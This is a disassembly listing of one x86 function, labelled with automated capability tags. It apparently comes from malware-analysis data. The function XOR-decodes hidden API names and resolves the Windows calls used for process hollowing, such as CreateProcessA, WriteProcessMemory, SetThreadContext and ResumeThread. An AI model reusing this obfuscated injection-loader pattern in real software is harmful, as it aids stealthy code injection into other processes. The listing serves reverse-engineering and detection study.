Function at 0x403370
Capabilities:
Encode data using xor
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x124
mov eax, dword [0x465040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x461204]
movq xmm0, qword [str.kernel32.dll]
mov dword [ebp - 0x6c], eax
movzx eax, byte [0x461208]
movq qword [ebp - 0x74], xmm0
mov byte [ebp - 0x68], al
mov al, byte [ebp - 0x74]
push ebx
mov ebx, ecx
lea ecx, [ebp - 0x74]
push edi
test al, al
je 0x4033be
xor al, 0x5a
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
mov al, byte [ecx]
test al, al
jne 0x4033b0
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x124]
push 0x40
push eax
call fcn.00410b50
mov al, byte [ebp - 0x124]
lea ecx, [ebp - 0x124]
add esp, 0xc
test al, al
je 0x4033f1
xor al, 0x5a
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
mov al, byte [ecx]
test al, al
jne 0x4033e3
lea eax, [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
jne 0x403416
pop edi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004097c0
mov esp, ebp
pop ebp
ret
mov eax, dword [0x461214]
lea ecx, [ebp - 0x54]
movq xmm0, qword [str.CreateProcessA]
mov dword [ebp - 0x4c], eax
mov ax, word [0x461218]
mov word [ebp - 0x48], ax
movzx eax, byte [0x46121a]
movq qword [ebp - 0x54], xmm0
mov byte [ebp - 0x46], al
mov al, byte [ebp - 0x54]
test al, al
je 0x40345e
nop dword [eax]
xor al, 0x5a
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
mov al, byte [ecx]
test al, al
jne 0x403450
movups xmm0, xmmword [str.GetThreadContext]
mov al, byte [0x46122c]
lea edx, [ebp - 0xbc]
mov byte [ebp - 0xac], al
movd ecx, xmm0
movups xmmword [ebp - 0xbc], xmm0
test cl, cl
je 0x403496
xor cl, 0x5a
lea edx, [edx + 1]
mov byte [edx - 1], cl
mov al, byte [edx]
mov cl, al
test al, al
jne 0x403485
movups xmm0, xmmword [str.SetThreadContext]
mov al, byte [0x461240]
lea edx, [ebp - 0xd0]
mov byte [ebp - 0xc0], al
movd ecx, xmm0
movups xmmword [ebp - 0xd0], xmm0
test cl, cl
je 0x4034d1
nop dword [eax]
xor cl, 0x5a
lea edx, [edx + 1]
mov byte [edx - 1], cl
mov al, byte [edx]
mov cl, al
test al, al
jne 0x4034c0
movups xmm0, xmmword [str.ReadProcessMemory]
mov ax, word [0x461254]
lea edx, [ebp - 0xe4]
mov word [ebp - 0xd4], ax
movd ecx, xmm0
movups xmmword [ebp - 0xe4], xmm0
test cl, cl
je 0x403511
nop word [eax + eax]
xor cl, 0x5a
lea edx, [edx + 1]
mov byte [edx - 1], cl
mov al, byte [edx]
mov cl, al
test al, al
jne 0x403500
movups xmm0, xmmword [str.WriteProcessMemory]
mov ax, word [0x461268]
lea edx, [ebp - 0xa8]
mov word [ebp - 0x98], ax
mov al, byte [0x46126a]
movd ecx, xmm0
movups xmmword [ebp - 0xa8], xmm0
mov byte [ebp - 0x96], al
test cl, cl
je 0x403556
xor cl, 0x5a
lea edx, [edx + 1]
mov byte [edx - 1], cl
mov al, byte [edx]
mov cl, al
test al, al
jne 0x403545
mov eax, dword [0x461274]
lea ecx, [ebp - 0x64]
movq xmm0, qword [str.VirtualAllocEx]
mov dword [ebp - 0x5c], eax
mov ax, word [0x461278]
mov word [ebp - 0x58], ax
movzx eax, byte [0x46127a]
movq qword [ebp - 0x64], xmm0
mov byte [ebp - 0x56], al
mov al, byte [ebp - 0x64]
test al, al
je 0x40359e
nop dword [eax]
xor al, 0x5a
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
mov al, byte [ecx]
test al, al
jne 0x403590
mov eax, dword [0x461284]
lea ecx, [ebp - 0x84]
movq xmm0, qword [str.VirtualAlloc]
mov dword [ebp - 0x7c], eax
movzx eax, byte [0x461288]
movq qword [ebp - 0x84], xmm0
mov byte [ebp - 0x78], al
mov al, byte [ebp - 0x84]
test al, al
je 0x4035de
xor al, 0x5a
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
mov al, byte [ecx]
test al, al
jne 0x4035d0
mov eax, dword [0x461294]
lea ecx, [ebp - 0x94]
movq xmm0, qword [str.ResumeThread]
mov dword [ebp - 0x8c], eax
movzx eax, byte [0x461298]
movq qword [ebp - 0x94], xmm0
mov byte [ebp - 0x88], al
mov al, byte [ebp - 0x94]
test al, al
je 0x403624
xor al, 0x5a
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
mov al, byte [ecx]
test al, al
jne 0x403616
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x44]
push 0x40
push eax
call fcn.00410b50
mov al, byte [ebp - 0x44]
lea ecx, [ebp - 0x44]
add esp, 0xc
test al, al
je 0x40364e
xor al, 0x5a
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
mov al, byte [ecx]
test al, al
jne 0x403640
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea eax, [ebp - 0x44]
push eax
push edi
call esi
mov dword [ebx], eax
lea eax, [ebp - 0xbc]
push eax
lea eax, [ebp - 0x44]
push 0x40
push eax
call fcn.00410b50
mov al, byte [ebp - 0x44]
lea ecx, [ebp - 0x44]
add esp, 0xc
test al, al
je 0x40368e
nop dword [eax]
xor al, 0x5a
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
mov al, byte [ecx]
test al, al
jne 0x403680
lea eax, [ebp - 0x44]
push eax
push edi
call esi
mov dword [ebx + 4], eax
lea eax, [ebp - 0xd0]
push eax
lea eax, [ebp - 0x44]
push 0x40
push eax
call fcn.00410b50
mov al, byte [ebp - 0x44]
lea ecx, [ebp - 0x44]
add esp, 0xc
test al, al
je 0x4036c5
xor al, 0x5a
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
mov al, byte [ecx]
test al, al
jne 0x4036b7
lea eax, [ebp - 0x44]
push eax
push edi
call esi
mov dword [ebx + 8], eax
lea eax, [ebp - 0xe4]
push eax
lea eax, [ebp - 0x44]
push 0x40
push eax
call fcn.00410b50
mov al, byte [ebp - 0x44]
lea ecx, [ebp - 0x44]
add esp, 0xc
test al, al
je 0x4036fe
nop
xor al, 0x5a
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
mov al, byte [ecx]
test al, al
jne 0x4036f0
lea eax, [ebp - 0x44]
push eax
push edi
call esi
mov dword [ebx + 0xc], eax
lea eax, [ebp - 0xa8]
push eax
lea eax, [ebp - 0x44]
push 0x40
push eax
call fcn.00410b50
mov al, byte [ebp - 0x44]
lea ecx, [ebp - 0x44]
add esp, 0xc
test al, al
je 0x403735
xor al, 0x5a
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
mov al, byte [ecx]
test al, al
jne 0x403727
lea eax, [ebp - 0x44]
push eax
push edi
call esi
mov dword [ebx + 0x10], eax
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x44]
push 0x40
push eax
call fcn.00410b50
mov al, byte [ebp - 0x44]
lea ecx, [ebp - 0x44]
add esp, 0xc
test al, al
je 0x40376e
nop dword [eax + eax]
xor al, 0x5a
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
mov al, byte [ecx]
test al, al
jne 0x403760
lea eax, [ebp - 0x44]
push eax
push edi
call esi
mov dword [ebx + 0x14], eax
lea eax, [ebp - 0x84]
push eax
lea eax, [ebp - 0x44]
push 0x40
push eax
call fcn.00410b50
mov al, byte [ebp - 0x44]
lea ecx, [ebp - 0x44]
add esp, 0xc
test al, al
je 0x4037a5
xor al, 0x5a
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
mov al, byte [ecx]
test al, al
jne 0x403797
lea eax, [ebp - 0x44]
push eax
push edi
call esi
mov dword [ebx + 0x18], eax
lea eax, [ebp - 0x94]
push eax
lea eax, [ebp - 0x44]
push 0x40
push eax
call fcn.00410b50
mov al, byte [ebp - 0x44]
lea ecx, [ebp - 0x44]
add esp, 0xc
test al, al
je 0x4037de
nop
xor al, 0x5a
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
mov al, byte [ecx]
test al, al
jne 0x4037d0
lea eax, [ebp - 0x44]
push eax
push edi
call esi
mov ecx, dword [ebp - 4]
pop esi
mov dword [ebx + 0x1c], eax
xor ecx, ebp
pop edi
mov al, 1
pop ebx
call fcn.004097c0
mov esp, ebp
pop ebp
ret